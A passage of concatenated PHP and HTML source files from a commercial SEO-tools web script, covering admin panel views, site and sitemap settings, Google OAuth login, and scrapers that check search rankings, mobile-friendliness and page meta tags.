?></option> </select> </div> <div class="col-md-6"> <h5><?php echo $lang['121']; ?></h5> <select name="robotsLinks" class="form-control"> <option value="follow"><?php echo $lang['118']; ?></option> <option value="nofollow"><?php echo $lang['119']; ?></option> </select> </div> </div> <div class="row" style="margin-top: 20px; margin-bottom: 30px;"> <div class="col-md-6"> <h5><?php echo $lang['120']; ?></h5> <select name="contentType" class="form-control"> <option value="text/html; charset=utf-8">UTF-8</option> <option value="text/html; charset=utf-16">UTF-16</option> <option value="text/html; charset=iso-8859-1">ISO-8859-1</option> <option value="text/html; charset=windows-1252">WINDOWS-1252</option> </select> </div> <div class="col-md-6"> <h5><?php echo $lang['125']; ?></h5> <select name="language" class="form-control"> <option value="English">English</option> <option value="French">French</option> <option value="Spanish">Spanish</option> <option value="Russian">Russian</option> <option value="Arabic">Arabic</option> <option value="Japanese">Japanese</option> <option value="Korean">Korean</option> <option value="Hindi">Hindi</option> <option value="Portuguese">Portuguese</option> <option value="N/A">No Language Tag</option> </select> </div> </div> <hr /> <div class="text-center" style="margin-bottom: 30px;" ><b><?php echo $lang['126']; ?></b></div> <p> <input type="checkbox" value="yes" name="revisit" style="margin-top: 5px;" /> <?php echo $lang['127']; ?> &nbsp; <input type="text" class="form-control" style="width:10%; display: inline;" name="revisitdays" /> &nbsp; <?php echo $lang['128']; ?>. </p> <br /> <p><input type="checkbox" value="yes" name="author" /> <?php echo $lang['129']; ?>: <input type="text" class="form-control" name="authorname" style="width:50%; display: inline;" /> </p> <br /> <?php if ($toolCap) echo $captchaCode; ?> <input class="btn btn-info" type="submit" value="<?php echo $lang['113']; ?>" name="submit"/> </form> <?php } else { //Output Block if(isset($error)) { echo '<br/><br/><div class="alert alert-error"> <strong>Alert!</strong> '.$error.' </div><br/><br/> <div class="text-center"><a class="btn btn-info" href="'.$toolURL.'">'.$lang['12'].'</a> </div><br/>'; } else { ?> <br /> <div class="text-center"> <?php echo $lang['130']; ?> </div> <pre><?php echo $outData; ?></pre> <br /> <div class="text-center"> <br /> &nbsp; <br /> <a class="btn btn-info" href="<?php echo $toolURL; ?>"><?php echo $lang['9']; ?></a> <br /> </div> <?php } } ?> <br /> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="sec1" class="about_tool"><?php echo $lang['11'].' '.$data['tool_name']; ?></h2> <p> <?php echo $data['about_tool']; ?> </p> <br /> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <style> .form-control[disabled], .form-control[readonly], fieldset[disabled] .form-control { background-color: #fdfdfd; } </style> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> <div style="position:absolute; top:4px; right:15px;"> <a class="btn btn-primary btn-sm" href="<?php adminLink($controller.'/clear'); ?>"><i class="fa fa-trash"></i> &nbsp; Clear Cron Log</a> </div> </div><!-- /.box-header ba-la-ji --> <form action="#" method="POST"> <div class="box-body"> <br /> <div class="alert alert-warning"> <strong>Note: </strong> Intervals between cron jobs is 10 to 30 miniutes(Maxmium). Don't setup Cron Job more than 30 minutes! </div> <?php if(isset($msg)) echo $msg; ?> <div class="form-group"> <label for="cronPath">Cron Job Path:</label> <input readonly="" id="cronPath" name="cronPath" value="<?php echo $cronPath; ?>" class="form-control" type="text" /> </div> <label>Cron Execution Log:</label> <textarea readonly="" class="form-control" rows="10"><?php echo $errData; ?></textarea> <br /> <br /> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'Sitemap'; $subTitle = 'Build Sitemap'; $fullLayout = 1;$footerAdd = true; $footerAddArr = array(); if ($_SERVER['REQUEST_METHOD'] == 'POST') { $siteInfo = mysqli_query($con, "SELECT * FROM site_info where id='1'"); $siteInfoRow = mysqli_fetch_array($siteInfo); $other = dbStrToArr($siteInfoRow['other_settings']); $myValues = array_map_recursive( function($item) use ($con) { return escapeTrim($con,$item); }, $_POST['other'] ); unset($other['other']['sitemap']); if(!isset($myValues['other']['sitemap']['gzip'])) $myValues['other']['sitemap']['gzip'] = false; if(!isset($myValues['other']['sitemap']['cron'])) $myValues['other']['sitemap']['cron'] = false; if(!isset($myValues['other']['sitemap']['multilingual'])) $myValues['other']['sitemap']['multilingual'] = false; if(!isset($myValues['other']['sitemap']['auto'])) $myValues['other']['sitemap']['auto'] = false; if(!isset($myValues['other']['sitemap']['priority'])) $myValues['other']['sitemap']['priority'] = '0.9'; if(!isset($myValues['other']['sitemap']['freqrange'])) $myValues['other']['sitemap']['freqrange'] = 'daily'; $other = array_merge_recursive($other,$myValues); $other_settings = arrToDbStr($con,$other); $query = "UPDATE site_info SET other_settings='$other_settings' WHERE id='1'"; mysqli_query($con, $query); if (mysqli_errno($con)) $msg = errorMsgAdmin(mysqli_error($con)); else $msg = successMsgAdmin('Sitemap settings saved successfully'); } //Load Sitemap Settings $siteInfo = mysqli_query($con, "SELECT * FROM site_info where id='1'"); $siteInfoRow = mysqli_fetch_array($siteInfo); $other = dbStrToArr($siteInfoRow['other_settings']); //Build Sitemap if ($pointOut == 'build') { define('SITEMAP_',true); require ADMIN_CON_DIR.'sitemap-build.php'; if(file_exists(ROOT_DIR.'sitemap.xml')) redirectTo(adminLink($controller.'/build-success',true)); else redirectTo(adminLink($controller.'/build-failed',true)); } if($pointOut == 'build-success') $msg = successMsgAdmin('Sitemap generated successfully'); if($pointOut == 'build-failed') $msg = errorMsgAdmin('Sitemap generation failed'); //Check Sitemap $sitemapData = false; if(file_exists(ROOT_DIR.'sitemap.xml')){ $siteMapRes = 'File Found'; $sitemapData = true; }else{ $siteMapRes = 'File Not Found'; } ?><file_sep><?php function getMobileFriendly($url){ $url = str_replace(array('http://','https://'), '', $url); $mobile = array('passed' => false, 'score' => 0, 'screenshot' => '', 'url' => $url); $cookie = TMP_DIR . unqFile(TMP_DIR, randomPassword() . '_curl.tdata'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://www.bing.com/webmaster/tools/mobile-friendliness-result'); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0"); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, Array("X-Requested-With: XMLHttpRequest", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Accept: text/html, */*; q=0.01")); curl_setopt($ch, CURLOPT_VERBOSE, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_REFERER, 'https://www.bing.com/webmaster/tools/mobile-friendliness'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, 'url=' . $url . '&retry=0'); $html = curl_exec($ch); curl_close($ch); require_once(LIB_DIR . 'simple_html_dom.php'); $domData = load_html($html); if (!empty($domData)) { $domContent = $domData->find('div.successGreen'); if (!empty($domContent)) $mobile['passed'] = true; $imgContent = $domData->find('img'); if (!empty($imgContent)) { foreach ($imgContent as $imgData) { $imageLink = trim($imgData->getAttribute('src')); if ($imageLink != '') { if (str_contains($imageLink, 'GreenCheckLg')) $mobile['score'] = $mobile['score'] + 20; } } } $imgContent = $domData->find('img[id=snapshot]'); if (!empty($imgContent)) { foreach ($imgContent as $imgData) $mobile['screenshot'] = str_replace(array('data:image/jpeg;base64,','data:image/jpg;base64,','data:image/png;base64,'), '', trim($imgData->getAttribute('src'))); } } return $mobile; }<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2019 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="row"> <div class="col-lg-12"> <?php if(file_exists(ROOT_DIR.'reset.php')) echo warnMsgAdmin('Delete the admin password reset file found on script root directory!',false); ?> </div> <div class="col-lg-3 col-xs-6"> <!-- small box --> <div class="small-box bg-aqua"> <div class="inner"> <h3><?php echo $onlineNow; ?></h3> <p>Users Online</p> </div> <div class="icon"> <i class="fa fa-smile-o"></i> </div> </div> </div><!-- ./col --> <div class="col-lg-3 col-xs-6"> <!-- small box --> <div class="small-box bg-green"> <div class="inner"> <h3><?php echo $today_page; ?><sup style="font-size: 20px"></sup></h3> <p>Today Pageviews</p> </div> <div class="icon"> <i class="ion ion-stats-bars"></i> </div> </div> </div><!-- ./col --> <div class="col-lg-3 col-xs-6"> <!-- small box --> <div class="small-box bg-yellow"> <div class="inner"> <h3><?php echo $today_users_count; ?></h3> <p>Today New Users</p> </div> <div class="icon"> <i class="ion ion-person-add"></i> </div> </div> </div><!-- ./col --> <div class="col-lg-3 col-xs-6"> <!-- small box --> <div class="small-box bg-red"> <div class="inner"> <h3><?php echo $today_visit; ?></h3> <p>Today Unique Visitors</p> </div> <div class="icon"> <i class="ion ion-pie-graph"></i> </div> </div> </div><!-- ./col --> </div><!-- /.row --> <!-- Main row --> <div class="row"> <!-- Left col --> <section class="col-lg-7 connectedSortable"> <!-- Custom tabs (Charts with tabs)--> <div class="nav-tabs-custom"> <!-- Tabs within a box --> <ul class="nav nav-tabs pull-right"> <li class="pull-left header"><i class="fa fa-signal"></i> Pageviews History</li> </ul> <div class="tab-content no-padding"> <?php if(count($pageViewHistory) < 2){ echo '<div class="text-center"><br><br><br><br><br><br>Not enough Data<br><br><br><br><br><br><br><br></div>'; }else{ ?> <div class="chart tab-pane active" id="pageviews-chart" style="position: relative; height: 300px;"></div> <?php } ?> </div> </div><!-- /.nav-tabs-custom --> <div class="box box-primary customBox"> <div class="box-header"> <!-- tools box --> <div class="pull-right box-tools"> <button title="" data-toggle="tooltip" data-widget="collapse" class="btn btn-primary btn-xs" data-original-title="Collapse"><i class="fa fa-minus"></i></button> <button title="" data-toggle="tooltip" data-widget="remove" class="btn btn-primary btn-xs" data-original-title="Remove"><i class="fa fa-times"></i></button> </div><!-- /. tools --> <i class="fa fa-line-chart"></i> <h3 class="box-title">Recent Access History</h3> </div><!-- /.box-header --> <div class="box-body"> <div class="table-responsive"> <table class="table table-hover table-bordered"> <tbody><tr> <th>Tool Name</th> <th>Username</th> <th>User Location</th> <th>Time</th> </tr> <?php echo $userHistoryData; ?> </tbody> </table> </div> </div><!-- /.box-body --> <div class="box-footer"> </div><!-- /.box-footer --> </div> <div class="box box-success customBox"> <div class="box-header"> <!-- tools box --> <div class="pull-right box-tools"> <button title="" data-toggle="tooltip" data-widget="collapse" class="btn btn-success btn-xs" data-original-title="Collapse"><i class="fa fa-minus"></i></button> <button title="" data-toggle="tooltip" data-widget="remove" class="btn btn-success btn-xs" data-original-title="Remove"><i class="fa fa-times"></i></button> </div><!-- /. tools --> <i class="fa fa-th-list"></i> <h3 class="box-title">Admin Login History</h3> </div><!-- /.box-header --> <div class="box-body"> <div class="table-responsive"> <table class="table table-hover table-bordered"> <tbody><tr> <th>Login Date</th> <th>IP</th> <th>Country</th> <th>Browser</th> </tr> <?php echo $adminHistoryData; ?> </tbody> </table> </div> </div><!-- /.box-body --> <div class="box-footer"> </div><!-- /.box-footer --> </div> </section><!-- /.Left col --> <section class="col-lg-5 connectedSortable"> <div id="server-box" class="box box-info customBox"> <div class="box-header"> <!-- tools box --> <div class="pull-right box-tools"> <button title="" data-toggle="tooltip" data-widget="collapse" class="btn btn-info btn-xs" data-original-title="Collapse"><i class="fa fa-minus"></i></button> <button title="" data-toggle="tooltip" data-widget="remove" class="btn btn-info btn-xs" data-original-title="Remove"><i class="fa fa-times"></i></button> </div><!-- /. tools --> <i class="fa fa-server"></i> <h3 class="box-title">Server Information</h3> </div><!-- /.box-header --> <div class="box-body"> <table class="table table-striped table-bordered"> <tbody> <tr> <td>Server IP</td> <td><strong><?php echo $_SERVER['SERVER_ADDR']; ?></strong></td> </tr> <tr> <td>Server Disk Space</td> <td><strong><?php echo roundsize($ds); ?></strong></td> </tr> <tr> <td>Free Disk Space</td> <td><strong><?php echo roundsize($df); ?></strong></td> </tr> <tr> <td>Disk Space used by Script</td> <td><strong><?php echo roundsize(GetDirectorySize(ROOT_DIR)); ?></strong></td> </tr> <tr> <td>Memory Used</td> <td><strong><?php echo getServerMemoryUsage(); ?></strong></td> </tr> <tr> <td>Current CPU Load</td> <td><strong><?php echo getServerCpuUsage(); ?></strong></td> </tr> <tr> <td>PHP Version</td> <td><strong><?php echo phpversion(); ?></strong></td> </tr> <tr> <td>MySql Version</td> <td><strong><?php echo mysqli_get_server_info($con); ?></strong></td> </tr> <tr> <td>Database Size</td> <td><strong><?php echo $database_size; ?> MB</strong></td> </tr> </tbody> </table> </div><!-- /.box-body --> <div class="box-footer"> </div><!-- /.box-footer --> </div> <div class="box box-danger customBox"> <div class="box-header"> <!-- tools box --> <div class="pull-right box-tools"> <button title="" data-toggle="tooltip" data-widget="collapse" class="btn btn-danger btn-xs" data-original-title="Collapse"><i class="fa fa-minus"></i></button> <button title="" data-toggle="tooltip" data-widget="remove" class="btn btn-danger btn-xs" data-original-title="Remove"><i class="fa fa-times"></i></button> </div><!-- /. tools --> <i class="fa fa-user"></i> <h3 class="box-title">Latest New Users</h3> </div><!-- /.box-header --> <div class="box-body"> <table class="table table-hover table-bordered"> <tbody><tr> <th>Username</th> <th>Registered On</th> <th>Country</th> </tr> <?php echo $newUsersData; ?> </tbody> </table> </div><!-- /.box-body --> <div class="box-footer"> </div><!-- /.box-footer --> </div> <div class="box box-warning customBox"> <div class="box-header"> <!-- tools box --> <div class="pull-right box-tools"> <button title="" data-toggle="tooltip" data-widget="collapse" class="btn btn-warning btn-xs" data-original-title="Collapse"><i class="fa fa-minus"></i></button> <button title="" data-toggle="tooltip" data-widget="remove" class="btn btn-warning btn-xs" data-original-title="Remove"><i class="fa fa-times"></i></button> </div><!-- /. tools --> <i class="fa fa-paper-plane"></i> <h3 class="box-title">Script Update</h3> </div><!-- /.box-header --> <div class="box-body"> <br /> <table class="table table-hover table-bordered"> <tbody> <tr> <td>Your Version</td> <td>v<?php echo VER_NO; ?></td> </tr> <tr> <td>Latest Version</td> <td>v<?php echo $latestData['version']; ?></td> </tr> <tr> <td>Update</td> <?php if($updater) echo '<td><a href="http://codecanyon.net/downloads" target="_blank" class="btn btn-success">Update</a></td>'; else echo '<td style="color: #c0392b;">Currently no update available!</td>'; ?> </tr> </tbody></table> <br /> <table class="table table-hover table-bordered"> <tbody> <tr><th class="text-center">Latest News</th></tr> <tr> <td>- <?php echo $latestData['news1']; ?></td> </tr> <tr> <td>- <?php echo $latestData['news2']; ?></td> </tr> </tbody></table> </div><!-- /.box-body --> <div class="box-footer"> </div><!-- /.box-footer --> </div> </section> </div><!-- /.Main row --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $footerAddArr[] = <<<EOD <script> var CountX = -1; var area = new Morris.Area({ element: 'pageviews-chart', resize: true, behaveLikeLine: true, data: [ $pageViewData ], xkey: 'y', ykeys: ['item1', 'item2'], labels: ['Unique Visitorss', 'Page View'], lineColors: ['#CAE3E7', '#9FD3DA'], hideHover: 'auto', parseTime: false, }); </script> EOD; ?><file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright 2019 ProThemes.Biz * */ function googleRank($searchDomain, $keyword, $position = 50, $googleDomain) { $currentPage = 1; $resPerPage = 0; $totalCount = 1; $googleUrl = "https://www." . $googleDomain . "/search?hl=en&q=" . urlencode($keyword); $data = curlGET_Text($googleUrl); while (true) { $dom = new DOMDocument(); @$dom->loadHTML($data); $xpath = new DOMXPath($dom); $hrefs = $xpath->evaluate('//div[@id="rso"]//div[@class="g"]//div[@class="r"]//a'); $linkcount = $hrefs->length; for ($i = 0; $i < $linkcount; $i++) { $href = $hrefs->item($i); $url = $href->getAttribute('href'); if($url === NULL) continue; if($url == '') continue; if($url === '#') continue; if(substr($url, 0 ,38) === 'https://webcache.googleusercontent.com') continue; if(substr($url, 0 ,10) === '/search?hl') continue; $searchDomain = "http://".clean_url($searchDomain); $searchDomainArr = parse_url($searchDomain); $searchDomain = $searchDomainArr['host']; $url = cleanWWW($url); if (!strstr($url, $searchDomain)) { } else { $searchDetails = array( $url, $totalCount, $currentPage); return $searchDetails; exit; } if ($totalCount == $position) { return; exit; } $totalCount++; } if (!strstr($data, "Next")) break; sleep(rand(2, 4)); $resPerPage = $resPerPage + 10; $currentPage++; flush(); $googleUrl = "https://www." . $googleDomain . "/search?hl=en&q=" . urlencode($keyword) . "&start=" . $resPerPage . "&sa=N"; $data = curlGET_Text($googleUrl); } } function yahooRank($searchDomain, $keyword, $position = 50, $yahooDomain = 'yahoo.com') { $data = $resData = $yahooUrl = ''; $yahooTLD = clean_url($yahooDomain); $yahooTLD = explode(".", $yahooTLD); $yahooTLD = $yahooTLD[1]; if ($yahooTLD == 'com') $yahooTLD = ''; else $yahooTLD = $yahooTLD . '.'; $currentPage = 1; $resPerPage = 0; $totalCount = 1; $rn = $resPerPage == '0' ? '' : $resPerPage; $yahooUrl = "https://" . $yahooTLD . "search." . $yahooDomain . "/search?p=" . urlencode($keyword) . "&b=" . $rn . "1"; $data = curlGET_Text($yahooUrl); $resData = getCenterText('<ol class="mb-15 reg searchCenterMiddle">', '</ol>', $data); $resPerPage = 10; while (true) { $dom = new DOMDocument(); @$dom->loadHTML($resData); $xpath = new DOMXPath($dom); $hrefs = $dom->getElementsByTagName('a'); $linkcount = $hrefs->length; for ($i = 0; $i < $linkcount; $i++) { $href = $hrefs->item($i); $url = $href->getAttribute('href'); $searchDomain = clean_url($searchDomain); $url = clean_url($url); if (!strstr($url, $searchDomain)) { } else { $searchDetails = array( $url, $totalCount, $currentPage); return $searchDetails; exit; } if ($totalCount == $position) { return; exit; } $totalCount++; } if (!strstr($data, "Next")){ break; } sleep(rand(3, 5)); $resPerPage = $resPerPage + 10; $currentPage++; flush(); $yahooUrl = "https://" . $yahooTLD . "search." . $yahooDomain . "/search?p=" . urlencode($keyword) . "&b=" . $resPerPage; $data = curlGET_Text($yahooUrl); $resData = getCenterText('<ol class="mb-15 reg searchCenterMiddle">', '</ol>', $data); } }<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright 2020 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title">Plagiarism Checker (PR02)</h3> </div><!-- /.box-header --> <div class="box-body"> <?php if(isset($msg)){ echo $msg; }?> <div class="row"> <div class="col-md-8"> <form action="#" method="POST"> <br /> <div class="form-group"> <label> Select Plagiarism Checker Method </label> <select class="form-control" name="apiLevel" id="apiLevel"> <?php if($apiLevel == '1'){ echo '<option value="1" selected="">Google Search Engine</option>'; echo '<option value="2">ProThemes.Biz Plagiarism API</option>'; echo '<option value="3">Google CSE Method (New)</option>'; } elseif($apiLevel == '2'){ echo '<option value="1">Google Search Engine</option>'; echo '<option value="2" selected="">ProThemes.Biz Plagiarism API</option>'; echo '<option value="3">Google CSE Method (New)</option>'; }else{ echo '<option value="1">Google Search Engine</option>'; echo '<option value="2">ProThemes.Biz Plagiarism API</option>'; echo '<option value="3" selected="">Google CSE Method (New)</option>'; } ?> </select> </div> <div class="form-group"> <label for="wordLimit">Maximum Word Limit</label> <input type="text" placeholder="Enter your word limit" name="wordLimit" id="wordLimit" value="<?php echo $wordLimit; ?>" class="form-control"> </div> <div class="form-group"> <label for="minChar">Minimum Characters Limit</label> <input type="text" placeholder="Enter your minimum characters limit" name="minChar" id="minChar" value="<?php echo $minChar; ?>" class="form-control"> </div> <input type="hidden" name="plagiarismSel" value="1" /> <input type="submit" name="save" value="Save" class="btn btn-primary"/> </form> </div> </div> </div><!-- /.box-body --> </div><!-- /.box --> <div class="box box-success"> <div class="box-header with-border"> <h3 class="box-title">Mozrank Checker (PR24)</h3> </div><!-- /.box-header --> <div class="box-body"> <?php if(isset($msg1)){ echo $msg1; }?> <div class="row"> <div class="col-md-8"> <form action="#" method="POST"> <br /> <div class="form-group"> <label for="mozAccess">MOZ Access ID</label> <input type="text" placeholder="Enter your MOZ access id" name="mozAccess" id="mozAccess" value="<?php echo $mozAccess; ?>" class="form-control"> </div> <div class="form-group"> <label for="mozSecret">MOZ Secret Key</label> <input type="text" placeholder="Enter your MOZ secret key" name="mozSecret" id="mozSecret" value="<?php echo $mozSecret; ?>" class="form-control"> </div> <input type="hidden" name="mozSel" value="1" /> <input type="submit" name="save" value="Save" class="btn btn-primary"/> </form> </div> </div> </div><!-- /.box-body --> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $fullLayout = 1; $pageTitle = 'Manage Site'; $subTitle = 'Basic Settings'; $footerAdd = true; $footerAddArr = array(); if ($_SERVER['REQUEST_METHOD'] == 'POST') { if(isset($_POST['title'])){ $siteInfo = mysqli_query($con, "SELECT * FROM site_info where id='1'"); $siteInfoRow = mysqli_fetch_array($siteInfo); $other = dbStrToArr($siteInfoRow['other_settings']); $title = escapeTrim($con, $_POST['title']); $des = escapeTrim($con, $_POST['des']); $keyword = escapeTrim($con, $_POST['keyword']); $site_name = escapeTrim($con, $_POST['site_name']); $email = escapeTrim($con, $_POST['email']); $copyright = escapeTrim($con, $_POST['copyright']); $ga = escapeTrim($con, $_POST['ga']); $other['other']['ga'] = $ga; $other_settings = arrToDbStr($con,$other); $doForce = arrToDbStr($con,array(raino_trim($_POST['https']),raino_trim($_POST['www']))); $social_links = array_map_recursive( function($item) use ($con) { return escapeTrim($con,$item); }, $_POST['social'] ); $socialDB = arrToDbStr($con,$social_links); $query = "UPDATE site_info SET title='$title', des='$des', keyword='$keyword', site_name='$site_name', email='$email', copyright='$copyright', other_settings='$other_settings', doForce='$doForce', social_links='$socialDB' WHERE id='1'"; mysqli_query($con, $query); if (mysqli_errno($con)) $msg = errorMsgAdmin(mysqli_error($con)); else $msg = successMsgAdmin('Site information saved successfully'); } } //Get site Info $siteInfo = mysqli_query($con, "SELECT * FROM site_info where id='1'"); $siteInfoRow = mysqli_fetch_array($siteInfo); $title = Trim($siteInfoRow['title']); $des = Trim($siteInfoRow['des']); $keyword = Trim($siteInfoRow['keyword']); $site_name = Trim($siteInfoRow['site_name']); $email = Trim($siteInfoRow['email']); $social_links = dbStrToArr($siteInfoRow['social_links']); $other = dbStrToArr($siteInfoRow['other_settings']); $doForce = dbStrToArr($siteInfoRow['doForce']); $copyright = htmlspecialchars_decode(Trim($siteInfoRow['copyright'])); $forceHttps = filter_var($doForce[0], FILTER_VALIDATE_BOOLEAN); $forceWww = filter_var($doForce[1], FILTER_VALIDATE_BOOLEAN); $ga = $other['other']['ga']; ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ $pageTitle = $lang['RF85']; //'Google Oauth'; if(isset($_SESSION[N_APP.'Username'])){ redirectTo(createLink('',true)); die(); } if(!$enable_reg){ header("Location: ". createLink('',true)); exit(); } if(!$enable_oauth){ header("Location: ". createLink('',true)); exit(); } if($oauth_keys['oauth']['g_redirect_uri'] == '') $oauth_keys['oauth']['g_redirect_uri'] = $baseURL. '?route=google'; // Oauth Google define('G_Client_ID', $oauth_keys['oauth']['g_client_id']); // Enter your google api application id define('G_Client_Secret', $oauth_keys['oauth']['g_client_secret']); // Enter your google api application secret code define('G_Redirect_Uri', $oauth_keys['oauth']['g_redirect_uri']); define('G_Application_Name', 'Rainbow_PHP_By_Balaji'); //Google Oauth Library require_once (LIB_DIR . 'Google/Client.php'); $client = new Google_Client(); $client->setScopes(array( "https://www.googleapis.com/auth/userinfo.profile", "https://www.googleapis.com/auth/userinfo.email" )); if (isset($_GET['code'])) { $client->authenticate($_GET['code']); $_SESSION['access_token'] = $client->getAccessToken(); $redirect = $baseURL . $_SERVER['PHP_SELF']; header('Location: ' . filter_var($redirect, FILTER_SANITIZE_URL)); } if (isset($_SESSION['access_token']) && $_SESSION['access_token']) { $client->setAccessToken($_SESSION['access_token']); $access_token = json_decode($_SESSION['access_token'], 1); $access_token = $access_token['access_token']; $resp = file_get_contents('https://www.googleapis.com/oauth2/v1/userinfo?access_token='.$access_token); $user = json_decode($resp, 1); $client_email = filter_var($user['email'], FILTER_SANITIZE_EMAIL); $client_name = filter_var($user['name'], FILTER_SANITIZE_STRING); $client_id = filter_var($user['id']); $client_plat = "Google"; $client_pic = $user['picture']; $content = $user; $token = $client->getAccessToken(); } else { $authUrl = $client->createAuthUrl(); } if ($client->getAccessToken() && isset($_GET['url'])) { $_SESSION['access_token'] = $client->getAccessToken(); } if (isset($client_email)) { $row = mysqliPreparedQuery($con, "SELECT * FROM users WHERE oauth_uid=?",'s',array($client_id)); if($row !== false){ $user_username = $row['username']; $db_verified = $row['verified']; if ($db_verified == "2"){ die($lang['RF44']); } else { $_SESSION[N_APP.'Username'] = $user_username; $_SESSION[N_APP.'Token'] = $token; $_SESSION[N_APP.'Oauth_uid'] = $client_id; $_SESSION[N_APP.'UserToken'] = passwordHash($db_id . $username); $old_user =1; header("Location: ". createLink('',true)); exit(); } } else { $new_user= 1; $last_id = getLastID($con, 'users'); if ($last_id== '' || $last_id==null){ $username = "User1"; } else { $last_id = $last_id+1; $username = "User$last_id"; } $_SESSION[N_APP.'Username'] = $username; $_SESSION[N_APP.'Token'] = $token; $_SESSION[N_APP.'Oauth_uid'] = $client_id; $_SESSION[N_APP.'UserToken'] = passwordHash($db_id . $username); $nowDate = date('m/d/Y h:i:sA'); $sDate = date('m/d/Y'); $res = insertToDbPrepared($con, 'users', array( 'oauth_uid' => $client_id, 'username' => $username, 'email_id' => $client_email, 'full_name' => $client_name, 'platform' => $client_plat, 'password' => $<PASSWORD>, 'verified' => '1', 'picture' => 'NONE', 'date' => $sDate, 'added_date' => $nowDate, 'ip' => $ip )); header("Location: ".createLink('',true)); exit(); } } else { if($pointOut == 'login') { header('Location: '.$authUrl); exit(); } } die(); ?><file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright © 2017 ProThemes.Biz * */ function getMyMeta($url, $noTitle='No Title', $noDes='No Description', $noKey='No Keywords'){ $title = $description = $keywords = $html = $author = $siteName = ''; $viewport = '-'; $lenTitle = $lenDes = 0; $openG = false; //Get Data of the URL $html = curlGET($url); if($html == '') return false; //Fix Meta Uppercase Problem $html = str_ireplace(array("Title","TITLE"),"title",$html); $html = str_ireplace(array("Description","DESCRIPTION"),"description",$html); $html = str_ireplace(array("Keywords","KEYWORDS"),"keywords",$html); $html = str_ireplace(array("Content","CONTENT"),"content",$html); $html = str_ireplace(array("Meta","META"),"meta",$html); $html = str_ireplace(array("Name","NAME"),"name",$html); //Load the document and parse the meta $doc = new DOMDocument(); @$doc->loadHTML($html); $nodes = $doc->getElementsByTagName('title'); $title = $nodes->item(0)->nodeValue; $metas = $doc->getElementsByTagName('meta'); for ($i = 0; $i < $metas->length; $i++){ $meta = $metas->item($i); if($meta->getAttribute('name') == 'description') $description = $meta->getAttribute('content'); if($meta->getAttribute('name') == 'keywords') $keywords = $meta->getAttribute('content'); if($meta->getAttribute('name') == 'viewport') $viewport = $meta->getAttribute('content'); if($meta->getAttribute('name') == 'author') $author = $meta->getAttribute('content'); if($meta->getAttribute('property') == 'site_name') $siteName = $meta->getAttribute('content'); if($meta->getAttribute('property') == 'og:title') $openG = true; } $lenTitle = mb_strlen($title); $lenDes = strlen($description); //Check Empty Data $title = ($title == '' ? $noTitle : $title); $description = ($description == '' ? $noDes : 